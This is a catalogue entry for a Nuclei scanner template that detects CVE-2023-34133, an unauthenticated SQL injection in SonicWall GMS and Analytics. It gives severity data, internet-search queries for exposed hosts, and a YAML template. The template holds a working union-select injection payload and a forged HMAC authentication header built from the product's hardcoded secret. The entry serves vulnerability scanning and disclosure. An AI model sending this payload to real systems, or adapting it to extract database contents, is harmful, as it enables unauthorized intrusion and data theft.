CVE-2023-34133: SonicWall GMS and Analytics - SQL Injection
- Template: CVE-2023-34133
- Name: SonicWall GMS and Analytics - SQL Injection
- Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in SonicWall GMS and Analytics allows an unauthenticated attacker to extract sensitive information from the application database. This issue affects GMS: 9.3.2-SP1 and earlier versions; Analytics: 2.5.0.4-R7 and earlier versions.
- Impact: Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.
- Remediation: Apply the latest security patches or updates provided by SonicWall to mitigate this vulnerability.
- Severity: high
- Authors: theamanrawat
- Tags: cve2023, cve, sonicwall, sqli, injection, vkev, vuln
- References: https://raw.githubusercontent.com/rapid7/metasploit-framework/4b130f5be7590d04878f3bda37555e59e733324d/modules/exploits/multi/http/sonicwall_shell_injection_cve_2023_34124.rb, https://www.sonicwall.com/support/product-notification/urgent-security-notice-sonicwall-gms-analytics-impacted-by-suite-of-vulnerabilities/230710150218060/, https://github.com/getdrive/PoC/blob/main/2023/Sonicwall_Shell_Injection/sonicwall_shell_injection_cve_2023_34124.rb, https://nvd.nist.gov/vuln/detail/CVE-2023-34133, http://packetstormsecurity.com/files/174571/Sonicwall-GMS-9.9.9320-Remote-Code-Execution.html
- Cves: CVE-2023-34133
- Max requests: 4
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-34133.yaml
- Digest: 4a0a0047304502204f0ae9fc013d0415ed73cc4119430b9cc40d0aee7a6c88e3c24d32df1a2f2a60022100e8212d55b106cdfff3afec4bbb2382b5d37f98ab63337041555e99ec80edd126
- Created at: 2025-10-14T09:40:30Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 406
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-34133.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-89
- Cvss score: 7.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.74038
- Epss percentile: 0.99491
- Cpe: cpe:2.3:a:sonicwall:analytics:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: icon_hash="-1381126564"
- Max-request: 4
- Product: analytics
- Shodan-query: http.favicon.hash:"-1381126564"
- Vendor: sonicwall
Products
| Product | Indexed | Url |
|---|---|---|
| sonicwall:analytics | yes | /v1/products/sonicwall/analytics |
Labels
- Name: SonicWall GMS & Analytics - SQL Injection
- Impact: Unauthenticated attackers can retrieve sensitive information from the database, leading to data breaches.
- Remediation: Update to the latest versions of SonicWall GMS and Analytics.
- Vulnerability type: sql_injection
- Vulnerability impact: information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2023-34133
- Not known: requirements
```yaml
id: CVE-2023-34133
info:
name: SonicWall GMS and Analytics - SQL Injection
author: theamanrawat
severity: high
description: |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in SonicWall GMS and Analytics allows an unauthenticated attacker to extract sensitive information from the application database. This issue affects GMS: 9.3.2-SP1 and earlier versions; Analytics: 2.5.0.4-R7 and earlier versions.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.
remediation: |
Apply the latest security patches or updates provided by SonicWall to mitigate this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-34133
- http://packetstormsecurity.com/files/174571/Sonicwall-GMS-9.9.9320-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-34133
cwe-id: CWE-89
epss-score: 0.74038
epss-percentile: 0.99491
cpe: cpe:2.3:a:sonicwall:analytics:*:*:*:*:*:*:*:*
metadata:
max-request: 4
vendor: sonicwall
product: analytics
shodan-query: http.favicon.hash:"-1381126564"
fofa-query: icon_hash="-1381126564"
tags: cve2023,cve,sonicwall,sqli,injection,vkev,vuln
variables:
num: "999999999"
query: "' union select (select ID from SGMSDB.DOMAINS), '', '', '', '', '', (select MD5({{num}})),'', '', '"
secret: '?~!@#$%^^()'
auth: "{{hmac('sha1', query, secret)}}"
http:
- raw:
- |
GET /ws/msw/tenant/{{url_encode(query)}} HTTP/1.1
Host: {{Hostname}}
Auth: {"user": "system", "hash": "{{base64(hex_decode(auth))}}"}
matchers:
- type: word
part: body
words:
- '{{md5(num)}}'
digest: 4a0a0047304502204f0ae9fc013d0415ed73cc4119430b9cc40d0aee7a6c88e3c24d32df1a2f2a60022100e8212d55b106cdfff3afec4bbb2382b5d37f98ab63337041555e99ec80edd126:922c64590222798bb761d5b6d8e72950
```